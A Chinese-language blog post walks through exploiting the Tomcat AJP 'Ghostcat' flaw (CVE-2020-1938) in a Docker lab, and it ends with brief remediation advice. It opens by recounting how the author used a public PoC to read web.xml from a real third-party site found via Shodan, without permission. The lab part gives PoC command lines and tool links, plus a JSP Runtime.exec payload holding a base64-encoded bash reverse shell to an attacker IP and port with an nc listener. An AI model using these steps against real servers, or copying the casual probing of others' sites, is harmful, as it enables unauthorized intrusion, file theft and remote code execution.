CVE-2020-1938 Tomcat 文件读取包含漏洞复现
一次偶然的契机,起源于自己的站被日了,太菜了没找到原因,然后逛了逛室友的站,室友的友链中随便点了点友链什么的,发现shadon发现开了很多端口,并且同时打开了8009和8080
想到最近爆出的文件包含漏洞,扫一下果真存在,也验证成功了,读取到了web.xml的源码
用网上的脚本跑一下,读取WEB-INF/web.xml文件
读取ROOT目录下的build.xml文件内容,没用这个文件,就会跳转到错误页面
下面是自己搭建环境后的CVE-2020-1938 Tomcat 文件读取包含漏洞复现
利用docker拉去对应的镜像环境,docker的安装和基本操作看这篇
影响版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
漏洞概述
该漏洞使攻击者可以读取任何webapps文件(例如webapp配置文件,源代码等)或包括一个文件来远程执行代码。由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
环境搭建
先搜索一下,然后拉取镜像,等待安装好
安装好后运行
安装docker-bash: /usr/local/bin/docker-compose: 权限不够
chmod +x /usr/local/bin/docker-compose
docker-compose up -d开启环境,等待下载
开始下载超级慢,更换源得以解决
终于成功开启
开启之后查看运行程序
这个时候访问虚拟机ip的8080端口即可发现打开了tomcat的后台
我这里是用的另一台虚拟机kali linux
漏洞复现
成功打开之后进行漏洞验证
漏洞检测
用nmap扫描端口,看是不是打开了8009端口
任意文件读取
poc下载:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
使用:python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.89.129 -p 8009 -f WEB-INF/web.xml
能查看到文件源码
既然是自己的环境,我们可以进自己的目录看看有什么文件
这个时候我们需要进入容器终端
进入容器终端
docker ps 查看状态,找到容器ID和名字
容器运行的时候可以用如下命令进入
#docker exec -it <容器名/容器ID> /bin/bash
输入指令进入
查看webapps下有很多文件,都是可以用上面的任意文件读取到的,这里不再一一贴出
文件包含
这个洞需要有上传点才使用,这里我直接在容器中手动添加
工具地址:
https://github.com/00theway/Ghostcat-CNVD-2020-10487
制作一个txt文件放在目录下,其中地址与网站中对应,上图红框,但是这个时候用vim命令写文件又出问题了
看这三篇博客解决吧
https://blog.csdn.net/mameng1988/article/details/83782831
https://blog.csdn.net/df_1818/article/details/106840600
https://blog.csdn.net/lovebird321/article/details/108927556
可算是能安装了
后面发现做这么多,只要源换对了就行了
阿里镜像源配置
http://www.xtuyzl.cn/index.php/2021/07/24/docker入门以及漏洞环境搭建/
文章末
这些真的够耗时间的,第一次做足了准备后面应该会顺利很多,下面还是测试
我们在攻击机利用poc进行文件包含执行漏洞:
反弹shell
bash -i >& /dev/tcp/192.168.89.130/4444
0>&1
反弹shellbase64加密
将文件命名问cmd.txt上传服务器:
用<%Runtime.getRuntime().exec("");%> 包裹
<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg5LjEzMC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}");%>
开启端口监听:nc -lvp 4444
这里看到有命令应该是已经执行了
可是没什么用啊,监听了并没用反应,命令执行复现失败
利用nc反弹shell
一天之后我卷土重来,发现了问题是上述过程没用<%Runtime.getRuntime().exec("");%> 包裹命令
修改之后反弹shell成功
漏洞修复
1、升级tomcat到最新版本
2、若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。
环境关闭
docker-compose down
另一边肯定也就访问不到了